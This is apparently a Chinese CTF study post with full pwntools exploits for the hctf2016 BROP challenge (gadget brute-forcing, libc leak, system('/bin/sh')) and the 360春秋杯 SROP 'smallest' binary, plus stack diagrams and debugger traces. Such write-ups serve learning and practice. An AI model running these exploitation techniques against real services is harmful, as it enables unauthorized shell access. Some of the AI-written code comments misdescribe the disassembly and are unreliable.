PWN | 对CTF WIKI的复现+再学习 (第八期)

花样ROP

下载地址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux

利用原理+攻击思路


BROP--hctf2016

由于水平有限,这个部分还没有完全搞懂,等到我能力成熟+研究透彻之后再为大家加上详细解题过程与思路,直接附上wiki的exp+AI注释版

cpp 复制代码
#coding=utf8
# 导入所需模块
from pwn import *           # pwntools:用于二进制漏洞利用的Python库,提供进程交互、汇编、ROP等功能
from LibcSearcher import *   # LibcSearcher:根据已知函数地址(如puts)自动查找对应libc版本和偏移

# 初始连接目标(假设目标运行在本地9999端口)
sh = remote('127.0.0.1', 9999)

# 若本地调试,可取消下一行的注释,直接启动二进制程序
#sh = process('./brop')

# 设置日志级别为debug,可输出详细交互信息,便于调试(这里被注释)
#context.log_level = 'debug'

# ------------------- 函数定义部分(BROP攻击的各个探测步骤)-------------------

def getbufferflow_length():
    """
    功能:探测缓冲区溢出的偏移长度(即从输入到返回地址之间的字节数)
    原理:逐步增加输入长度,观察程序是否崩溃或返回信息改变。
    当输入长度超过缓冲区大小时,程序可能崩溃(EOFError)或输出不再以"No password"开头,
    则前一个长度即为溢出所需的最小长度。
    """
    i = 1
    while 1:
        try:
            # 每次重新连接,因为程序可能崩溃
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')          # 发送i个字符
            output = sh.recv()         # 接收返回信息
            sh.close()
            # 如果返回不以"No password"开头,说明程序可能因为溢出而执行了其他代码
            if not output.startswith('No password'):
                return i - 1
            else:
                i += 1
        except EOFError:                # 程序崩溃(通常是因为覆盖了返回地址)
            sh.close()
            return i - 1


def get_stop_addr(length):
    """
    功能:寻找一个"stop gadget"地址------即一个不会导致程序崩溃且能正常返回的指令序列,
    通常是一个ret指令或一段不会造成段错误的代码。用于ROP链中作为"着陆点",
    防止程序在泄漏信息后崩溃。
    原理:暴力枚举代码段地址,构造payload将返回地址覆盖为当前枚举地址,
    若程序没有崩溃且能返回,则该地址可能是一个合适的stop gadget。
    注意:此函数需要手动分析输出,实际使用时可能需要结合调试。
    """
    addr = 0x400000                     # 从代码段起始地址开始(通常是0x400000)
    while 1:
        try:
            sh = remote('127.0.0.1', 9999)
            sh.recvuntil('password?\n')
            payload = 'a' * length + p64(addr)   # 覆盖返回地址为addr
            sh.sendline(payload)
            content = sh.recv()          # 接收输出
            print content
            sh.close()
            print 'one success stop gadget addr: 0x%x' % (addr)
            # 这里简单打印,实际应判断输出是否正常,如包含程序正常提示信息
            addr += 1
        except Exception:                 # 若发生异常(崩溃或超时),则继续尝试
            addr += 1
            sh.close()


def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
    """
    构造__libc_csu_init中的通用gadget,用于调用任意函数(x86-64)。
    这是一种常用的ROP技术,利用程序中的两个gadget实现多参数调用。
    但本exploit未使用此函数,仅作参考。
    """
    payload = p64(csu_last)  # pop rbx,rbp,r12,r13,r14,r15; ret
    payload += p64(0x0)      # rbx = 0
    payload += p64(0x1)      # rbp = 1
    payload += p64(saved_addr)  # r12 = 要调用的函数地址(经过计算)
    payload += p64(arg3)     # r13 -> rdx (第三个参数)
    payload += p64(arg2)     # r14 -> rsi (第二个参数)
    payload += p64(arg1)     # r15 -> edi (第一个参数)
    payload += p64(csu_middle)  # 执行 call [rbx + r12*8]
    payload += 'A' * 56      # 填充到下一个ret(根据具体布局调整)
    return payload


def get_brop_gadget(length, stop_gadget, addr):
    """
    功能:测试某个地址addr是否为有用的gadget(如pop rdi; ret)。
    原理:构造payload使程序执行addr,然后执行stop_gadget。
    若程序正常输出(以"WelCome"开头),则addr可能是一个gadget,因为它没有导致崩溃,
    并且能够执行到stop_gadget。
    这是BROP攻击中"扫描"gadget的关键步骤。
    """
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        # payload结构:填充 + addr + 6个0 + stop_gadget + 10个0
        # 目的是让程序跳转到addr,执行那里的代码,然后跳转到stop_gadget,最后返回。
        # 6个0是为了平衡栈,因为addr之后可能还有pop等指令,我们需要保持栈平衡。
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # 如果输出以"WelCome"开头,说明程序正常返回到了stop_gadget,addr可能是一个无害的gadget
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False


def check_brop_gadget(length, addr):
    """
    功能:验证addr是否真的为有用的gadget(如pop rdi; ret)。
    原理:如果addr是pop rdi; ret这样的gadget,那么执行后它会从栈上弹出一个值到rdi,
    然后ret到下一个地址。如果我们不给它提供正确的下一个地址,程序就会崩溃(因为ret到非法地址)。
    因此,如果程序崩溃,则addr很可能是这种类型的gadget。
    注意:此方法需要程序在非法地址访问时崩溃(通常如此)。
    """
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        # payload: 填充 + addr + 10个填充,没有有效的返回地址
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False   # 如果程序正常返回,说明addr不是我们想要的那种gadget
    except Exception:
        sh.close()
        return True    # 程序崩溃,说明addr可能是pop; ret类型gadget


def find_brop_gadget(length, stop_gadget):
    """
    功能:遍历地址空间,找到BROP gadget(通常为pop rdi; ret)。
    步骤:先调用get_brop_gadget筛选可能的地址,再调用check_brop_gadget验证。
    由于地址空间很大,通常从某个已知起始点(如0x400740)开始,因为常用gadget多位于此区域。
    """
    addr = 0x400740
    while 1:
        print hex(addr)
        if get_brop_gadget(length, stop_gadget, addr):
            print 'possible brop gadget: 0x%x' % addr
            if check_brop_gadget(length, addr):
                print 'success brop gadget: 0x%x' % addr
                return addr
            addr += 1


def get_puts_addr(length, rdi_ret, stop_gadget):
    """
    功能:通过ROP调用puts泄漏内存,找到puts@plt的地址。
    原理:构造ROP链:pop rdi; ret | 参数(要泄漏的地址,如0x400000) | puts@plt | stop_gadget。
    如果puts@plt的地址正确,程序会输出0x400000处的内容(ELF头部)。
    我们从0x400000开始枚举地址,直到输出以"\x7fELF"开头,则该地址即为puts@plt。
    注意:puts@plt是一小段代码,用于跳转到实际的puts函数,因此它的地址通常在代码段内。
    """
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        # payload: 填充 + pop rdi; ret + 参数(0x400000) + 试探地址addr(作为puts@plt) + stop_gadget
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            # 如果输出内容以ELF头开头,说明addr确实是puts@plt,因为它成功执行了puts并输出了0x400000处的数据
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1


def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    """
    功能:泄漏指定地址leak_addr处的内容(通过puts输出)。
    原理:构造ROP链:pop rdi; ret | leak_addr | puts_plt | stop_gadget。
    接收puts输出的数据,并清理多余部分(如程序后续的"WelCome"提示)。
    返回泄漏的字节串。
    """
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        # 尝试截取到换行和"WelCome"之前,因为puts输出后程序会继续输出提示
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None


def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
    """
    功能:连续泄漏从0x400000到0x401000的内存,并保存到文件'code'。
    可用于dump程序的代码段,便于后续分析。
    """
    addr = 0x400000
    result = ""
    while addr < 0x401000:
        print hex(addr)
        data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
        if data is None:
            continue
        else:
            result += data
            addr += len(data)
    with open('code', 'wb') as f:
        f.write(result)


# ------------------- 实际利用流程 -------------------

# 以下变量原本应通过上述函数动态获取,但为了节省时间,这里直接使用已知的值(已在之前运行过探测)
# 在实际攻击中,需要先运行探测函数获取这些值,然后注释掉探测代码,直接使用。

#length = getbufferflow_length()          # 探测溢出长度
length = 72                                # 已知溢出长度为72(需要根据实际情况调整)

#stop_gadget = get_stop_addr(length)      # 探测stop gadget地址
stop_gadget = 0x4006b6                     # 已知一个可用的stop gadget地址(通常是一个ret指令或无害代码)

#brop_gadget = find_brop_gadget(length,stop_gadget)  # 探测brop gadget(pop rdi; ret)
brop_gadget = 0x4007ba                     # 已知brop gadget地址

# 在brop gadget(pop rbx, rbp, r12, r13, r14, r15; ret)之后9字节通常是pop rdi; ret
rdi_ret = brop_gadget + 9                  # 计算出pop rdi; ret的地址

#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)  # 探测puts@plt地址
puts_plt = 0x400560                         # 已知puts@plt地址

# puts函数的GOT表地址(需要从程序的反汇编或已知信息中获得)
puts_got = 0x601018

# 开始漏洞利用
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')

# 第一步:泄漏puts函数在内存中的实际地址
# 构造ROP链:溢出填充 + pop rdi; ret + puts_got地址 + puts_plt + stop_gadget
# 这样程序会执行puts(puts_got),输出GOT表中存放的puts实际地址(因为puts@plt会跳转到puts函数)
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)   # 接收直到遇到换行和"WelCome",丢弃这部分提示
# 接收到的数据是puts函数的地址(通常8字节),不足8字节时用'\x00'补齐,然后转换为整数
puts_addr = u64(data.ljust(8, '\x00'))

# 第二步:根据puts地址查找对应的libc版本,计算system函数和"/bin/sh"字符串的地址
libc = LibcSearcher('puts', puts_addr)      # 自动搜索匹配的libc
libc_base = puts_addr - libc.dump('puts')    # 计算libc基址
system_addr = libc_base + libc.dump('system')  # system函数地址
binsh_addr = libc_base + libc.dump('str_bin_sh')  # "/bin/sh"字符串地址

# 第三步:构造ROP链执行system("/bin/sh")
# 再次利用pop rdi; ret设置参数,然后调用system,最后用stop_gadget防止崩溃(实际上system不会返回)
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()   # 获得交互式shell,此时已经获取了目标主机的shell

SROP--2016-360春秋杯

1.IDA+checksec
cpp 复制代码
[*] '/home/Debug/Desktop/2016-360\xe6\x98\xa5\xe7\xa7\x8b\xe6\x9d\xaf-srop/smallest'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


signed __int64 start()
{
  _UNKNOWN *buf_; // [rsp+0h] [rbp+0h] BYREF

  return sys_read(0, (char *)&buf_, 0x400u);
}

.text:00000000004000B0 ; =============== S U B R O U T I N E =======================================
.text:00000000004000B0
.text:00000000004000B0
.text:00000000004000B0 ; signed __int64 start()
.text:00000000004000B0                 public start
.text:00000000004000B0 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004000B0                 xor     rax, rax
.text:00000000004000B3                 mov     edx, 400h       ; count
.text:00000000004000B8                 mov     rsi, rsp        ; buf
.text:00000000004000BB                 mov     rdi, rax        ; fd
.text:00000000004000BE                 syscall                 ; LINUX - sys_read
.text:00000000004000C0                 retn
.text:00000000004000C0 start           endp
.text:00000000004000C0
.text:00000000004000C0 _text           ends
.text:00000000004000C0
.text:00000000004000C0
.text:00000000004000C0                 end start
2.攻击思路

阶段 1:泄露栈地址

程序初始执行流被 payload 覆盖返回地址后,栈布局(栈向下生长,低地址在上):

cpp 复制代码
[高地址]
|-------------------|
| p64(start_addr)   |  # 返回地址被覆盖为 start_addr(重复3次,确保溢出覆盖)
| p64(start_addr)   |
| p64(start_addr)   |
|-------------------|
| 原栈数据          |
[低地址]

发送 \xb3 后,程序执行 read 并返回数据,从中解析出栈地址 S(栈地址泄露核心:read 的返回数据包含栈上的地址信息)。

阶段 2:构造 read 系统调用的 SigreturnFrame

发送 payload 后,栈布局(start_addr + 8 为栈帧起始,覆盖返回地址后):

cpp 复制代码
[高地址]
|-------------------| 0x00
| p64(start_addr)   |  # 覆盖的返回地址(先跳回 start_addr 维持执行流)
|-------------------| 0x08
| 'a' * 8           |  # 填充,对齐栈帧
|-------------------| 0x10
| rax = SYS_read(0) |  # rax=0(read系统调用号)
| rdi = 0           |  # fd=0(标准输入)
| rsi = S           |  # buf=栈地址S(要写入的目标地址)
| rdx = 0x400       |  # count=0x400(读取的字节数)
| r10 = 0           |  # 无关寄存器(SROP帧默认填充)
| r8  = 0           |
| r9  = 0           |
| rbp = 0           |
| rbx = 0           |
| rcx = 0           |
| rdx = 0x400       |  # 重复(SigreturnFrame结构)
| rsp = S           |  # sigreturn后rsp指向栈地址S
| rip = syscall_ret |  # 0x4000BE(执行syscall)
| rflags = 0x202    |  # 标志位(默认)
| cs = 0x33         |  # 段寄存器(64位默认)
| ss = 0x2b         |
| rbp = 0           |
| rdi = 0           |
| rsi = S           |
| rdx = 0x400       |
| rcx = 0           |
| r8  = 0           |
| r9  = 0           |
| rax = 0           |
| ...(其他寄存器) |  # SigreturnFrame完整结构,无关寄存器填0
[低地址]

发送 sigreturn payloadp64(syscall_ret) + 'b'*7)后,rax 被设置为 15(sigreturn 系统调用号),执行 syscall 触发 sigreturn,内核从栈顶恢复上述帧,执行 read(0, S, 0x400)

阶段 3:构造 execve 系统调用的 SigreturnFrame

read 操作将新 payload 写入栈地址 S,此时栈布局(S 为起始地址):

cpp 复制代码
[高地址] S + 0x00
|-------------------|
| p64(start_addr)   |  # 覆盖返回地址,维持执行流
|-------------------| S + 0x08
| 'b' * 8           |  # 填充
|-------------------| S + 0x10
| rax = SYS_execve  |  # rax=59(execve系统调用号)
| rdi = S + 0x120   |  # /bin/sh 字符串的地址
| rsi = 0x0         |  # argv=NULL
| rdx = 0x0         |  # envp=NULL
| r10 = 0           |
| r8  = 0           |
| r9  = 0           |
| ...(其他寄存器) |  # 无关寄存器填0
| rsp = S           |  # sigreturn后rsp指向S
| rip = syscall_ret |  # 0x4000BE(执行syscall)
| ...(其他寄存器) |  # SigreturnFrame剩余结构
|-------------------| S + 0x120
| "/bin/sh\x00"     |  # 字符串(必须以\x00结尾)
|-------------------| S + 0x128
| 填充\x00          |  # 补齐到0x400长度
[低地址]

再次发送 sigreturn payload,rax=15 触发 sigreturn,内核恢复上述帧,执行 execve(S+0x120, 0, 0),最终执行 /bin/sh 拿到交互 shell。

关键细节补充
  1. rax 寄存器的控制 :程序起始地址 start_addr (0x4000B0) 处有 xor rax, rax,通过调整返回地址到 start_addr+3 跳过该指令,让 rax 保留为 1(为后续 read 系统调用铺垫)。
  2. SigreturnFrame 结构 :64 位下 SigreturnFrame 是固定结构,包含所有通用寄存器、段寄存器、标志位等,pwnlib 的 SigreturnFrame() 会自动构造符合规范的帧。
  3. 栈地址对齐 :64 位下栈需按 8 字节对齐,因此 payload 中的填充('a'*8/'b'*8)是为了保证 SigreturnFrame 起始地址对齐,避免内核恢复寄存器时出错。
  4. 系统调用号 :x86_64 下:read=0sigreturn=15execve=59(需与 constants.SYS_* 对应)。
3.exp
cpp 复制代码
from pwn import *
# from LibcSearcher import *  # 本题无需libc泄露,注释掉

# ========== 初始化环境与核心变量 ==========
small = ELF('./smallest')  # 加载目标程序,解析ELF文件
sh = process('./smallest')  # 启动本地进程,与目标程序交互
context.arch = 'amd64'      # 设置架构为x86_64,确保gadget和系统调用号匹配
context.log_level = 'debug' # 开启调试日志,打印交互过程(发送/接收的数据)

# 核心gadget地址(通过ROPgadget/objdump找到)
syscall_ret = 0x00000000004000BE  # "syscall; ret"指令地址,用于触发系统调用
start_addr = 0x00000000004000B0   # 程序起始地址,用于重置执行流

# ========== 阶段1:栈溢出覆盖返回地址,泄露栈地址 ==========
# 发送3次start_addr,覆盖栈上的返回地址(确保溢出足够长度)
# 目的:让程序执行流跳回start_addr,维持循环执行,为后续操作铺垫
payload = p64(start_addr) * 3
sh.send(payload)

# gdb.attach(sh)  # 调试时开启,附加gdb到进程(可打断点分析栈布局)

# 发送\xxb3(十进制179),触发read系统调用并控制rax值
# 原理:start_addr处有"xor rax,rax; mov al, 0x3; syscall",跳过xor后rax=1(read返回值)
# read执行后会返回读取的数据,其中包含栈地址,以此泄露栈基地址
sh.send('\xb3')

# 解析返回数据,提取栈地址(8-16字节为64位栈地址)
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))  # 打印泄露的栈地址,确认成功

# ========== 阶段2:构造read系统调用的SROP帧 ==========
# 初始化SigreturnFrame(pwnlib封装的SROP栈帧结构,自动填充寄存器)
# 目的:构造read(0, stack_addr, 0x400)的系统调用上下文
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read  # rax=0(x86_64 read系统调用号)
sigframe.rdi = 0                   # rdi=0(文件描述符,标准输入)
sigframe.rsi = stack_addr          # rsi=栈基地址(read读取的数据写入到栈中)
sigframe.rdx = 0x400               # rdx=0x400(读取的字节数,足够容纳后续execve帧)
sigframe.rsp = stack_addr          # sigreturn后rsp指向栈基地址,维持栈帧
sigframe.rip = syscall_ret         # rip=syscall_ret,执行syscall触发read

# 构造payload:返回地址(start_addr) + 8字节填充(对齐) + SROP帧
# 填充'a'*8是为了让SROP帧起始地址满足8字节对齐,避免内核恢复寄存器崩溃
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)  # 发送read的SROP帧到栈中

# ========== 触发sigreturn,执行read系统调用 ==========
# 构造sigreturn触发payload:syscall_ret地址 + 7字节填充(共15字节)
# 原理:15字节数据会让rax=15(sigreturn系统调用号),执行syscall触发栈帧恢复
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)  # 触发sigreturn,内核恢复read帧并执行read

# ========== 阶段3:构造execve系统调用的SROP帧,获取shell ==========
# 重新初始化SigreturnFrame,构造execve("/bin/sh", 0, 0)的上下文
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve  # rax=59(x86_64 execve系统调用号)
sigframe.rdi = stack_addr + 0x120    # rdi=/bin/sh字符串的地址(避开SROP帧区域)
sigframe.rsi = 0x0                   # rsi=0(argv=NULL,execve参数要求)
sigframe.rdx = 0x0                   # rdx=0(envp=NULL,execve参数要求)
sigframe.rsp = stack_addr            # sigreturn后rsp指向栈基地址
sigframe.rip = syscall_ret           # rip=syscall_ret,执行syscall触发execve

# 构造execve的SROP帧payload:返回地址 + 8字节填充 + SROP帧
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print(len(frame_payload))  # 打印帧长度,确认填充偏移是否正确

# 拼接最终payload:execve帧 + 填充到0x120字节 + /bin/sh\x00(必须以\x00结尾)
# 0x120 - len(frame_payload)的填充是为了让/bin/sh字符串刚好落在stack_addr+0x120处
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)  # 发送execve帧到栈中(通过之前的read系统调用写入)

# 再次触发sigreturn,内核恢复execve帧并执行execve("/bin/sh")
sh.send(sigreturn)

# 开启交互模式,获取shell
sh.interactive()

补充注释说明(关键易错点):

  • 栈地址泄露sh.recv()[8:16] 是根据程序输出格式确定的偏移,不同程序的泄露位置可能不同,核心是提取栈上的有效地址;
  • 8 字节对齐'a'*8/'b'*8 填充是 x86_64 架构的硬性要求,SROP 帧必须按 8 字节对齐,否则内核恢复寄存器时会崩溃;
  • sigreturn 触发p64(syscall_ret) + 'b'*7 共 15 字节,最终让 rax=15(sigreturn 系统调用号),这是 SROP 的核心触发条件;
  • /bin/sh 字符串 :必须以\x00结尾,且地址要避开 SROP 帧区域(这里选stack_addr + 0x120),防止覆盖寄存器值;
  • 系统调用号 :x86_64 下read=0sigreturn=15execve=59,与 x86(32 位)的系统调用号不同,必须匹配架构。
4.调试过程

成功调用read,返回的泄露地址,栈布局如下

以下是发送sigframe之后的栈布局

cpp 复制代码
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

调用syscall之后形成syscall chain

cpp 复制代码
调用之前栈布局
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0xf
 RBX  0x0
 RCX  0x4000c0 ◂--- ret    
 RDX  0x400
 RDI  0x0
 RSI  0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall 
 R8   0x0
 R9   0x0
 R10  0x0
 R11  0x346
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
*RSP  0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
*RIP  0x4000be ◂--- syscall 
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
   0x4000c0    ret    
    ↓
 ► 0x4000be    syscall  <SYS_rt_sigreturn>
        rdi: 0x0
        rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall 
        rdx: 0x400
        r10: 0x0
   0x4000c0    ret    
    ↓
   0x4000be    syscall  <SYS_rt_sigreturn>
        rdi: 0x0
        rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall 
        rdx: 0x400
        r10: 0x0
   0x4000c0    ret    
    ↓
   0x4000be    syscall  <SYS_rt_sigreturn>
        rdi: 0x0
        rsi: 0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall 
        rdx: 0x400
        r10: 0x0
   0x4000c0    ret    
 
   0x4000c1    add    byte ptr [rsi], ch
   0x4000c3    jae    0x40012d <0x40012d>
 
   0x4000c5    jae    0x40013b <0x40013b>
 
   0x4000c7    jb     0x40013d <0x40013d>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
01:0008│      0x7ffddf90c1e3 ◂--- 0x0
... ↓


调用之后栈布局

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
*RAX  0x3b
 RBX  0x0
*RCX  0x0
*RDX  0x0
*RDI  0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
*RSI  0x0
 R8   0x0
 R9   0x0
 R10  0x0
*R11  0x0
 R12  0x0
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
*RSP  0x7ffddf90c1cb ---▸ 0x4000b0 ◂--- xor    rax, rax
 RIP  0x4000be ◂--- syscall 
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
   0x4000c0    ret    
    ↓
 ► 0x4000be    syscall  <SYS_execve>
        path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x0
        envp: 0x0
   0x4000c0    ret    
    ↓
   0x4000be    syscall  <SYS_execve>
        path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x0
        envp: 0x0
   0x4000c0    ret    
    ↓
   0x4000be    syscall  <SYS_execve>
        path: 0x7ffddf90c2eb ◂--- 0x68732f6e69622f /* '/bin/sh' */
        argv: 0x0
        envp: 0x0
   0x4000c0    ret    
 
   0x4000c1    add    byte ptr [rsi], ch
   0x4000c3    jae    0x40012d <0x40012d>
 
   0x4000c5    jae    0x40013b <0x40013b>
 
   0x4000c7    jb     0x40013d <0x40013d>
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ rsp  0x7ffddf90c1cb ---▸ 0x4000b0 ◂--- xor    rax, rax
01:0008│      0x7ffddf90c1d3 ---▸ 0x4000be ◂--- syscall 
02:0010│      0x7ffddf90c1db ◂--- 0x62626262626262 /* 'bbbbbbb' */
03:0018│      0x7ffddf90c1e3 ◂--- 0x0
... ↓

调试结束,过程讲解的不是很清楚明白,所以需要读者自己一步步看代码,然后一步步ni调试查看相关栈布局以及汇编走向


我们ROP部分基本结束,但是学海无涯,我们不停进步💪💪💪

相关推荐
崎岖Qiu2 小时前
【计算机网络 | 第十三篇】网络层服务的两种实现方式:无连接和面向连接
网络·笔记·计算机网络
前路不黑暗@3 小时前
Java项目:Java脚手架项目的登录认证服务(十三)
java·spring boot·笔记·学习·spring·spring cloud·maven
前路不黑暗@3 小时前
Java项目:Java脚手架项目的 C 端用户服务(十五)
java·开发语言·spring boot·学习·spring cloud·maven·mybatis
Hello_Embed4 小时前
Modbus 传感器开发:STM32F030 libmodbus 移植
笔记·stm32·学习·freertos·modbus
知识分享小能手5 小时前
SQL Server 2019入门学习教程,从入门到精通,SQL Server 2019 视图操作 — 语法知识点及使用方法详解(16)
sql·学习·sqlserver
unable code6 小时前
流量包取证-大流量分析
网络安全·ctf·misc·1024程序员节·流量包取证
一切顺势而行6 小时前
计算机网络基础
网络·计算机网络
前路不黑暗@6 小时前
Java项目:Java脚手架项目的 B 端用户服务(十四)
android·java·开发语言·spring boot·笔记·学习·spring cloud
锅包一切6 小时前
PART17 一维动态规划
c++·学习·算法·leetcode·动态规划·力扣·刷题